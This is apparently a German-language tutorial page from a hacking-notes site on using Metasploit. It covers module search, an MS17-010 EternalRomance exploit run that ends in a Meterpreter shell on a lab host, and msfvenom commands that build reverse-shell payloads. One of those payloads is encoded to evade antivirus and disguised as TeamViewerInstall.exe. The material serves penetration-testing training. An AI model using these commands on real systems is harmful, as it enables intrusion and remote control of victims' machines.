> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/hacking-tools/exploitation/metasploit.md).

# Metasploit

## Metasploit:

{% hint style="info" %}
Metasploit ist eine Open-Source-Plattform für Penetrationstests, die von IT-Sicherheitsfachleuten häufig genutzt wird, um die Verwundbarkeit von IT-Systemen zu bewerten. Sie bietet eine Reihe von Werkzeugen und Ressourcen zum Aufdecken, Ausnutzen und Absichern von Sicherheitslücken in Netzwerken, Betriebssystemen, Anwendungen und anderen IT-Komponenten. Zusammengefasst ist Metasploit ein umfassendes Framework für Penetrationstests und Sicherheitsüberprüfungen.
{% endhint %}

Standardmäßig befinden sich alle Kerndateien des Metasploit Frameworks `/usr/share/metasploit-framework`

## Metasploit-Workflow

1. Identifizieren Sie den exponierten Dienst, die Version, die Plattform und die wahrscheinliche Schwachstelle, bevor Sie ein Modul auswählen.
2. Durchsuchen Sie Module nach Dienst, CVE, Plattform, Typ, Rang und Name und prüfen Sie dann die Modulinformationen und Referenzen.
3. Konfigurieren Sie Zieloptionen, Payload-Optionen, Listener-Adressen und die Zielauswahl mit dem kleinsten zuverlässigen Setup.
4. Führen Sie, wo verfügbar, Prüfungen aus, führen Sie nur bestätigte Module aus und bewahren Sie die Modulausgabe für Berichte auf.
5. Verwalten Sie Sitzungen, Workspaces, Loot, Anmeldeinformationen, Dienste und Hosts über die Metasploit-Datenbank, wenn die Bewertung größer wird.

### **Module:**

Die oben beschriebenen Module sind in dieser Datei in verschiedene Kategorien unterteilt. Wir werden sie in den folgenden Abschnitten näher erläutern. Sie befinden sich in den folgenden Ordnern:<br>

<figure><img src="/files/48369b502d00e2ce6d84188e3a31a96fc3dfde5a" alt=""><figcaption></figcaption></figure>

### **Plugins:**

Plugins geben dem Pentester bei der Verwendung mehr Flexibilität `msfconsole`da sie bei Bedarf leicht manuell oder automatisch geladen werden können, um während unserer Bewertung zusätzliche Funktionalität und Automatisierung bereitzustellen.

<div data-full-width="true"><figure><img src="/files/894405e8cb03f5352b9e67a894040894d777e1a4" alt=""><figcaption></figcaption></figure></div>

### Szenarien:

Meterpreter-Funktionalität und andere nützliche Skripte.

<figure><img src="/files/c314222f5f4be79b72e5d2a368551444590b882c" alt="" width="471"><figcaption></figcaption></figure>

### **Werkzeuge:**

Kommandozeilen-Dienstprogramme, die direkt aus dem `msfconsole`Menü

<div data-full-width="true"><figure><img src="/files/b5a0c06bc7ac0b52001a561c15cb989456ebce82" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="/files/cf03b681e964b7728201036eae38948c563b2470" alt=""><figcaption></figcaption></figure>

### MSF-Einsatzstruktur

Die MSF-Einsatzstruktur kann in fünf Hauptkategorien unterteilt werden.

* Enumeration
* Vorbereitung
* Ausnutzung
* Privilegieneskalation
* Post-Exploitation

{% hint style="info" %}
Diese Unterteilung erleichtert es uns, geeignete MSF-Funktionen strukturierter zu finden und auszuwählen und entsprechend damit zu arbeiten. Jede dieser Kategorien verfügt über verschiedene Unterkategorien, die für bestimmte Zwecke vorgesehen sind. Dazu gehören zum Beispiel Dienstvalidierung und Schwachstellenforschung.
{% endhint %}

<figure><img src="/files/da99579da365170fe4bb3b2d0ebba417e222204e" alt=""><figcaption></figcaption></figure>

## **Komponenten**

### Suche nach Modulen:

#### Sobald wir uns in der `msfconsole`, können wir aus einer langen Liste aller verfügbaren Metasploit-Module auswählen. Jedes von ihnen ist in Ordnern strukturiert, die folgendermaßen aussehen:

**Syntax:**

```bash
<Nr.> <Typ>/<OS>/<Dienst>/<Name>
```

**Beispiel**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **NR.:**

Das `Nr.`Tag angezeigt, um den Exploit auszuwählen, den wir später bei unseren Suchen verwenden möchten. Wir werden `Nr.`später sehen, wie nützlich der Tag für die Auswahl bestimmter Metasploit-Module sein kann.

2. **Typ:**

| Typ:         | **Beschreibung**                                                                                                               |
| ------------ | ------------------------------------------------------------------------------------------------------------------------------ |
| `Hilfsmodul` | Funktionen zum Scannen, Fuzzing, Erkennen und Verwalten. Bietet Unterstützung und zusätzliche Funktionalität.                  |
| `Kodierer`   | Stellen sicher, dass Payloads intakt bleiben, bis sie ihr Ziel erreichen.                                                      |
| `Exploits`   | Module, die eine Schwachstelle ausnutzen, um die Payload zu übermitteln.                                                       |
| `NOPs`       | (Kein-Op-Code) Hält die Payload-Größen zwischen Ausnutzungsversuchen konsistent.                                               |
| `Payloads`   | Der Code wird aus der Ferne ausgeführt und ruft zum Rechner des Angreifers zurück, um eine Verbindung oder Shell herzustellen. |
| `Plugins`    | Zusätzliche Skripte können in eine `msfconsole` Bewertung integriert werden und koexistieren.                                  |
| `Post`       | Breite Palette von Modulen zum Sammeln von Informationen, zum tieferen Pivoting und für verwandte Post-Exploitation-Aufgaben.  |

3. **OS:**

Das `BS`Tag gibt das Betriebssystem und die Architektur an, für die das Modul erstellt wurde. Natürlich erfordern verschiedene Betriebssysteme unterschiedliche Codes, um die gewünschten Ergebnisse zu erzielen 4. **Dienst:**

Das `Dienst` Tag bezieht sich auf den verwundbaren Dienst, der auf dem Zielsystem läuft. Bei einigen Modulen, wie z. B. `Hilfsmodul` oder `Post`, kann sich dieser Tag auf eine allgemeinere Aktivität wie `Sammeln`, die sich beispielsweise auf das Sammeln von Anmeldeinformationen bezieht. 5. **Name:**

Schließlich erklärt der `Name`Tag die tatsächliche Aktion, die mit diesem für einen bestimmten Zweck erstellten Modul ausgeführt werden kann.

**MSF - Suchfunktion**

Zum Beispiel können wir versuchen, den `EternalRomance`Exploit für ältere Windows-Betriebssysteme zu finden. Er könnte so aussehen:

`search eternalromance`

<div data-full-width="true"><figure><img src="/files/51ec324069c4202364d62bec6af20ce15c854c5a" alt=""><figcaption></figcaption></figure></div>

### **Spezifische Suche:**

Wir können unsere Suche auch etwas gröber gestalten und auf eine einzelne Dienstekategorie eingrenzen. Für CVE könnten wir beispielsweise das Jahr (`cve:<year>`), die Windows-Plattform (`platform:<os>`), den Typ des Moduls, den wir finden wollen (`type:<auxiliary/exploit/post>`), den Vertrauenswürdigkeitsrang (`rank:<rank>`), und den Suchnamen (`<pattern>`). Dies würde unsere Ergebnisse auf diejenigen reduzieren, die mit allen oben genannten Kriterien übereinstimmen.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="/files/bc16a8907304eabf4cb8b06111fa739457e88944" alt=""><figcaption></figcaption></figure></div>

### Verwendung von Modulen:

Um unser erstes Modul auszuwählen, müssen wir zuerst eines finden. Nehmen wir an, wir haben ein Ziel, auf dem eine Version von SMB läuft, die für EternalRomance-Exploits (MS17/\_010) anfällig ist. Beim Scannen des Ziels haben wir festgestellt, dass der SMB-Server-Port 445 offen ist.

**Suche nach MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="/files/fb8431e4c635b04585963397c645bf31e382073e" alt=""><figcaption></figcaption></figure></div>

**MSF - Modul auswählen**

Um ein Modul in Metasploit zu verwenden, müssen wir zuerst eines finden. Nehmen wir an, wir haben ein Ziel, auf dem eine Version von SMB läuft, die für EternalRomance-Exploits (MS17/\_010) anfällig ist. Beim Scannen des Ziels haben wir festgestellt, dass der SMB-Server-Port 445 offen ist. `use` Befehl gefolgt von der gewünschten Modulnummer ein, und verwenden Sie dann den `options` Befehl, um die für dieses Modul verfügbaren Details und Konfigurationen anzuzeigen.

```bash
Übereinstimmende Module
================

   #  Name                                  Offenlegungsdatum  Rang    Prüfung  Beschreibung
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Ja    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows-Codeausführung
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  Nein   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows-Befehlsausführung

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Moduloptionen (exploit/windows/smb/ms17_010_psexec):

   Name                  Aktuelle Einstellung                          Erforderlich  Beschreibung
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    ja       Zusätzliche Debug-Trace-Informationen anzeigen
   LEAKATTEMPTS          99                                       ja       Wie oft versucht werden soll, ein Transaktionsleck zu erzeugen
   NAMEDPIPE                                                      nein      Eine benannte Pipe, mit der verbunden werden kann (für automatische Auswahl leer lassen)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  ja       Liste der zu prüfenden benannten Pipes
                         rdlists/named_pipes.txt
   RHOSTS                                                         ja       Die Zielhost(s), siehe https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      ja       Der Zielport (TCP)
   SERVICE_DESCRIPTION                                            nein      Dienstbeschreibung, die auf dem Ziel für eine hübsche Auflistung verwendet werden soll
   SERVICE_DISPLAY_NAME                                           nein      Der Anzeigename des Dienstes
   SERVICE_NAME                                                   nein      Der Dienstname
   SHARE                 ADMIN$                                   ja       Die Freigabe, zu der eine Verbindung hergestellt werden kann, kann eine Administratorfreigabe (ADMIN$,C$,...) oder eine no
                                                                            rmale Lese-/Schreibordnerfreigabe
   SMBDomain             .                                        nein      Die Windows-Domäne, die für die Authentifizierung verwendet werden soll
   SMBPass                                                        nein      Das Passwort für den angegebenen Benutzernamen
   SMBUser                                                        nein      Der Benutzername für die Authentifizierung

Payload-Optionen (windows/meterpreter/reverse_tcp):

   Name      Aktuelle Einstellung  Erforderlich  Beschreibung
   ----      ---------------  --------  -----------
   EXITFUNC  thread           ja       Beendigungsart (Akzeptiert: '', seh, thread, process, none)
   LHOST                      ja       Die Listenadresse (eine Schnittstelle kann angegeben werden)
   LPORT     4444             ja       Der Listenport

Exploit-Ziel:

   ID  Name
   --  ----
   0   Automatisch
```

**Modulinformationen**

Wir können den `info`Befehl nach der Auswahl des Moduls verwenden, wenn wir mehr über das Modul erfahren möchten. Dadurch erhalten wir eine Reihe von Informationen, die für uns wichtig sein können.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows-Codeausführung
     Modul: exploit/windows/smb/ms17_010_psexec
   Plattform: Windows
       Arch: x86, x64
 Privilegiert: Nein
    Lizenz: Metasploit Framework License (BSD)
       Rang: Normal
  Offengelegt: 2017-03-14

Bereitgestellt von:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Verfügbare Ziele:
  ID  Name
  --  ----
  0   Automatisch
  1   PowerShell
  2   Native Upload
  3   MOF-Upload

Prüfung unterstützt:
  Ja

Grundlegende Optionen:
  Name                  Aktuelle Einstellung                          Erforderlich  Beschreibung
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    ja       Zusätzliche Debug-Trace-Informationen anzeigen
  LEAKATTEMPTS          99                                       ja       Wie oft versucht werden soll, ein Transaktionsleck zu erzeugen
  NAMEDPIPE                                                      nein      Eine benannte Pipe, mit der verbunden werden kann (für automatische Auswahl leer lassen)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  ja       Liste der zu prüfenden benannten Pipes
                        rdlists/named_pipes.txt
  RHOSTS                                                         ja       Die Zielhost(s), siehe https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      ja       Der Zielport (TCP)
  SERVICE_DESCRIPTION                                            nein      Dienstbeschreibung, die auf dem Ziel für eine hübsche Auflistung verwendet werden soll
  SERVICE_DISPLAY_NAME                                           nein      Der Anzeigename des Dienstes
  SERVICE_NAME                                                   nein      Der Dienstname
  SHARE                 ADMIN$                                   ja       Die Freigabe, zu der eine Verbindung hergestellt werden kann, kann eine Administratorfreigabe (ADMIN$,C$,...) oder eine nor
                                                                           male Lese-/Schreibordnerfreigabe
  SMBDomain             .                                        nein      Die Windows-Domäne, die für die Authentifizierung verwendet werden soll
  SMBPass                                                        nein      Das Passwort für den angegebenen Benutzernamen
  SMBUser                                                        nein      Der Benutzername für die Authentifizierung

Nutzlastinformationen:
  Platz: 3072

Beschreibung:
  Dieses Modul nutzt SMB-Schwachstellen in MS17-010 aus, um
  eine write-what-where-Fähigkeit zu erreichen. Diese wird dann verwendet, um
  die Verbindungs­sitzungsinformationen mit einer
  Administrator-Sitzung zu überschreiben. Von dort aus wird die normale psexec-Nutzlastcode
  Ausführung durchgeführt. Nutzt eine Typverwechslung zwischen Transaction- und
  WriteAndX-Anfragen sowie eine Race Condition in Transaction-Anfragen aus, wie
  bei den Exploits EternalRomance, EternalChampion und EternalSynergy
  zu sehen. Diese Exploit-Kette ist zuverlässiger als der EternalBlue
  Exploit, erfordert jedoch eine benannte Pipe.

Referenzen:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

Auch bekannt als:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**Zielspezifikation**

Sobald wir davon überzeugt sind, dass das ausgewählte Modul das richtige für unseren Zweck ist, müssen wir einige Spezifikationen definieren, um das Modul an unser Zielsystem anzupassen und erfolgreich zu verwenden, z. B. durch Setzen des Ziels ( `RHOST`oder `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

Außerdem gibt es die `setg` Option, die die von uns ausgewählten Optionen dauerhaft festlegt, bis das Programm neu gestartet wird.

<figure><img src="/files/2d20b10338392adb7de76a9375ea2e535d04b8d1" alt=""><figcaption></figcaption></figure>

**Ausführen von Exploits**

Sobald alles konfiguriert und einsatzbereit ist, können wir fortfahren, den Angriff zu starten. Befehl: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Reverse-TCP-Handler auf 10.10.14.15:4444 gestartet
[*] 10.10.10.40:445 - Verwende auxiliary/scanner/smb/smb_ms17_010 als Prüfung
[+] 10.10.10.40:445       - Der Host ist wahrscheinlich ANFÄLLIG für MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - 1 von 1 Hosts gescannt (100% abgeschlossen)
[*] 10.10.10.40:445 - Verbinde mich zum Ziel für die Ausnutzung.
[+] 10.10.10.40:445 - Verbindung für die Ausnutzung hergestellt.
[+] 10.10.10.40:445 - Ziel-OS ausgewählt, gültig für das vom SMB-Antwortpaket angegebene OS
[*] 10.10.10.40:445 - CORE-Rohpuffer-Dump (42 Bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Zielarchitektur ausgewählt, gültig für die von der DCE/RPC-Antwort angegebene Architektur
[*] 10.10.10.40:445 - Versuche den Exploit mit 12 Groom-Allocations.
[*] 10.10.10.40:445 - Sende alle bis auf das letzte Fragment des Exploit-Pakets
[*] 10.10.10.40:445 - Beginne Non-Paged-Pool-Grooming
[+] 10.10.10.40:445 - Sende SMBv2-Puffer
[+] 10.10.10.40:445 - Schließe die SMBv1-Verbindung und erzeuge ein freies Loch neben dem SMBv2-Puffer.
[*] 10.10.10.40:445 - Sende die letzten SMBv2-Puffer.
[*] 10.10.10.40:445 - Sende das letzte Fragment des Exploit-Pakets!
[*] 10.10.10.40:445 - Empfange Antwort vom Exploit-Paket
[+] 10.10.10.40:445 - ETERNALBLUE-Überschreibung erfolgreich abgeschlossen (0xC000000D)!
[*] 10.10.10.40:445 - Sende das Egg an die beschädigte Verbindung.
[*] 10.10.10.40:445 - Löse das Freigeben des beschädigten Puffers aus.
[*] Command-Shell-Sitzung 1 geöffnet (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## Ziele

### **Ziele anzeigen:**

Das `show targets`Befehl, der in einer Exploit-Modulansicht ausgeführt wird, zeigt alle verfügbaren verwundbaren Ziele für diesen spezifischen Exploit an. Wenn Sie die Auswahl auf `Automatisch`belassen, weiß msfconsole, dass vor dem Start eines erfolgreichen Angriffs eine Diensterkennung auf dem angegebenen Ziel durchgeführt werden soll.

<figure><img src="/files/924ac0017ffeac62ab30cc75989ae30282929edf" alt=""><figcaption></figcaption></figure>

Wenn wir jedoch wissen, welche Versionen auf unserem Ziel laufen, können wir den `set target <index no.>`Befehl verwenden, um ein Ziel aus der Liste auszuwählen.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### Payloads:

{% hint style="info" %}
In `Payload` Metasploit, ein Modul hilft dem Exploit-Modul in der Regel, eine `Shell` an den Angreifer zurückzugeben. Payloads werden zusammen mit dem Exploit selbst gesendet, um die Standardabläufe des verwundbaren Dienstes zu umgehen (Aufgabe des Exploits), laufen dann auf dem Zielbetriebssystem, um typischerweise eine Reverse-Verbindung zum Angreifer herzustellen und die Aufgabe der Payload zu erfüllen.
{% endhint %}

Im Metasploit-Framework gibt es drei verschiedene Typen von Payload-Modulen: Singles, Stagers und Stages.

1. **Einfache Payloads** :

> Eine einfache Payload enthält den gesamten Code, der für den Exploit und die Ausführung in einer einzigen eigenständigen Payload erforderlich ist. Dadurch sind sie stabiler, da nur ein Element ausgeführt werden muss. Sie können jedoch in ihrer Größe begrenzt sein, da einige Angriffe keine zu großen Payloads unterstützen. Sie sind ideal für sofortige Aktionen, wie das Hinzufügen eines Benutzers oder das Starten eines Prozesses auf dem Ziel.

2. **Stager-Payloads:**

> Stager-Payloads arbeiten mit Stage-Payloads zusammen, indem sie die Last in mehrere Stufen aufteilen. Ein Stager befindet sich auf dem System des Angreifers und initiiert die Netzwerkverbindung mit dem Ziel, wenn die Stage auf dem entfernten Rechner ausgeführt wird. Sie sind so konzipiert, dass sie klein und zuverlässig sind, was das Herstellen von Verbindungen erleichtert. Windows-Stager sind auch in den Versionen "NX" (für Kompatibilität mit DEP-Schutz) und "NO-NX" verfügbar, wobei NX umfangreicher, aber für moderne Systeme geeignet ist.

3. **Stage-Payloads**:

> Stage-Payloads sind von Stagern hochgeladene Komponenten für erweiterte Funktionalität und ohne Größenbeschränkung. Sie werden für komplexe Lasten wie Meterpreter- oder VNC-Injection verwendet. Um Fehler zu minimieren, verwenden Stages Zwischen-Stager, um die Upload-Stabilität sicherzustellen. Sie eignen sich besonders für mehrstufige Angriffe, die einen zuverlässigen und anhaltenden Datenfluss erfordern.

### Gestaffelte Payloads:

**gestaffelte Payloads**

Als Metasploit-Benutzer werden wir ihnen unter den gebräuchlichen Namen begegnen `reverse_tcp`, `reverse_https`, und `bind_tcp`. Beispielsweise können Sie unter dem `show payloads`Befehl nach Payloads suchen, die in etwa wie folgt aussehen:

<figure><img src="/files/3b496dc99bf6732355a8b510f43a8be4a4be7b00" alt=""><figcaption></figcaption></figure>

### **Payloads Meterpreter:**

`Meterpreter` ist eine fortschrittliche Payload, die DLL-Injection verwendet, um eine stabile und dauerhafte Verbindung vollständig im Speicher herzustellen, wodurch sie schwer zu erkennen ist. Sie ermöglicht es Ihnen, Skripte und Plugins dynamisch zu laden. Nach dem Start öffnet sie eine Sitzung mit bestimmten Befehlen zur Steuerung des Zielsystems: `Tastatureingaben erfassen, Kennwörter wiederherstellen, ins Mikrofon mithören und mehr.`

### Suche nach Payloads:

Um unsere erste Payload auszuwählen, müssen wir wissen, was wir auf dem Zielrechner tun wollen. Wenn wir beispielsweise auf dauerhaften Zugriff aus sind, werden wir wahrscheinlich eine Meterpreter-Payload wählen wollen.

Wenn wir die obige Liste durchsehen, finden wir den Abschnitt mit `Meterpreter-Payloads für Windows (x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind-TCP-Stager mit UUID-Unterstützung
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 Bind-Named-Pipe-Stager
   518  windows/x64/meterpreter/bind_tcp                                     manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 Bind-TCP-Stager
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manuell  Nein   Windows Meterpreter (Reflective Injection x64), Bind-TCP-Stager (RC4-Stage-Verschlüsselung, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manuell  Nein   Windows Meterpreter (Reflective Injection x64), Bind-TCP-Stager mit UUID-Unterstützung (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse-HTTP-Stager (wininet)
   522  windows/x64/meterpreter/reverse_https                                manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse-HTTP-Stager (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse-Named-Pipe-(SMB)-Stager
   524  windows/x64/meterpreter/reverse_tcp                                  manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse-TCP-Stager
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manuell  Nein   Windows Meterpreter (Reflective Injection x64), Reverse-TCP-Stager (RC4-Stage-Verschlüsselung, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manuell  Nein   Windows Meterpreter (Reflective Injection x64), Reverse-TCP-Stager mit UUID-Unterstützung (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse-HTTP-Stager (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manuell  Nein   Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse-HTTPS-Stager (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manuell  Nein   Windows Meterpreter Shell, Bind-Named-Pipe-Inline (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manuell  Nein   Windows Meterpreter Shell, Bind-TCP-Inline (x64)
   531  windows/x64/meterpreter_reverse_http                                 manuell  Nein   Windows Meterpreter Shell, Reverse-HTTP-Inline (x64)
   532  windows/x64/meterpreter_reverse_https                                manuell  Nein   Windows Meterpreter Shell, Reverse-HTTPS-Inline (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manuell  Nein   Windows Meterpreter Shell, Reverse-TCP-Inline (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manuell  Nein   Windows Meterpreter Shell, Reverse-TCP-Inline x64
</code></pre>

### **Suche nach bestimmter Payload:**

Wir können auch `grep`verwenden, um bestimmte Begriffe zu filtern. Das würde die Suche und damit unsere Auswahl beschleunigen.

```bash
grep meterpreter show payloads
```

<figure><img src="/files/59294fec04ef55dd2d7977e6e82d3d88d2bd82c6" alt=""><figcaption></figcaption></figure>

Wir können nun einen weiteren `grep`Befehl nach dem ersten hinzufügen und nach `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="/files/fab508c041da605a4026b2868bd91f0b6c470415" alt=""><figcaption></figcaption></figure>

### **Payload auswählen:**

Wir verwenden `set payload <Nr.>`erst nachdem Sie überhaupt ein Exploit-Modul ausgewählt haben.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### Verwendung von Payloads:

Für den Exploit-Teil müssen wir die folgenden Elemente definieren:

| **Parameters** | **Beschreibung**                                 |
| -------------- | ------------------------------------------------ |
| `RHOSTS`       | Die IP-Adresse des Remote-Hosts, das Zielsystem. |
| `RPORT`        | Der Remote-Host-Port.                            |

Für den Payload-Teil müssen wir die folgenden Elemente definieren:

| **Parameters** | **Beschreibung**                                                                                     |
| -------------- | ---------------------------------------------------------------------------------------------------- |
| `LHOST`        | Die Host-IP-Adresse, die Maschine des Angreifers.                                                    |
| `LPORT`        | Normalerweise ist keine Änderung erforderlich; prüfen Sie, ob der Port nicht bereits verwendet wird. |

### Payload-Typen:

| **Payload**                       | **Beschreibung**                                                              |
| --------------------------------- | ----------------------------------------------------------------------------- |
| `generisch/benutzerdefiniert`     | Generischer Mehrzweck-Listener                                                |
| `generic/shell_bind_tcp`          | Generischer Mehrzweck-Listener, normale Shell, TCP-Bind-Verbindung            |
| `generic/shell_reverse_tcp`       | Allgemeiner Mehrzweck-Listener, normale Shell, Reverse-TCP-Verbindung         |
| `windows/x64/exec`                | Führt einen beliebigen Befehl aus (Windows x64)                               |
| `windows/x64/loadlibrary`         | Lädt einen beliebigen x64-Bibliothekspfad                                     |
| `windows/x64/messagebox`          | Erzeugt ein Dialogfeld über MessageBox mit anpassbarem Titel, Text und Symbol |
| `windows/x64/shell_reverse_tcp`   | Normale Shell, einzelne Nutzlast, Reverse-TCP-Verbindung                      |
| `windows/x64/shell/reverse_tcp`   | Normale Shell, Stager plus Stage, Reverse-TCP-Verbindung                      |
| `windows/x64/shell/bind_ipv6_tcp` | Normale Shell, Stager plus Stage, IPv6-TCP-Bind-Stager                        |
| `windows/x64/meterpreter/$`       | Meterpreter-Nutzlast plus die oben genannten Varianten                        |
| `windows/x64/powershell/$`        | Interaktive PowerShell-Sitzungen plus die oben genannten Varianten            |
| `windows/x64/vncinject/$`         | VNC-Server (reflektive Injektion) plus die oben genannten Varianten           |

## Kodierer

{% hint style="info" %}
In den über 15 Jahren, in denen das Metasploit-Framework existiert, `Kodierer`haben wir dazu beigetragen, Nutzlasten mit verschiedenen Prozessorarchitekturen kompatibel zu machen und gleichzeitig die Umgehung von Antivirenprogrammen zu unterstützen. `Kodierer`kommt die Rolle ins Spiel, die Nutzlast zu modifizieren, damit sie auf verschiedenen Betriebssystemen und Architekturen läuft. Zu diesen Architekturen gehören:
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### Auswahl eines Encoders:

> Wenn wir unsere eigene Nutzlast erstellen wollten, könnten wir dies über `msfpayload`, aber wir müssten sie anschließend anhand der Ziel-OS-Architektur mit `msfencode`kodieren. Eine Pipe würde die Ausgabe eines Befehls übernehmen und an den nächsten weiterleiten, wodurch eine kodierte Nutzlast erzeugt würde, die bereit ist, an den Zielrechner gesendet und dort ausgeführt zu werden.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="/files/6454d7490591f95447f9898fe164de44164dd7f8" alt=""><figcaption></figcaption></figure>

### **Nutzlast erzeugen - ohne Kodierung:**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

Wir sollten uns nun die erste Zeile des `$buf`ansehen und beobachten, wie sie sich verändert, wenn wir einen Encoder wie `shikata_ga_nai`.

<figure><img src="/files/903d3f3aaab944098861f9eaa6411c985539b118" alt=""><figcaption></figcaption></figure>

### **Nutzlast erzeugen - mit Kodierung:**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="/files/30720cbbacb70c8380e2ddbd7b7b92cbdf7eb5ab" alt=""><figcaption></figcaption></figure>

### **Shikata-Ga-Nai-Kodierung:**

> Nehmen wir das obige Beispiel so, wie es ist, als hypothetisches Beispiel. Wenn wir eine ausführbare Nutzlast nur einmal mit SGN kodieren würden, würde sie höchstwahrscheinlich von den meisten aktuellen Antivirenprogrammen erkannt werden. Schauen wir uns das einen Moment an. Wenn wir `msfvenom`im Framework-Index, der sich mit der Generierung von Nutzlasten und Kodierungsschemata befasst, haben wir folgenden Eintrag:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/0bd2d87d7966f3c5ff22c4cfb62ca8d153916f27" alt="" width="563"><figcaption></figcaption></figure>

Dadurch wird eine Nutzlast im `exe`Format TeamViewerInstall.exe erzeugt, die auf x86-Prozessoren für die Windows-Plattform ausgeführt werden soll, mit einer versteckten Reverse/\_tcp-Meterpreter-Shell-Nutzlast, die einmal mit dem Shikata-Ga-Nai-Schema kodiert wurde. Nehmen wir das Ergebnis und laden wir es auf VirusTotal hoch.

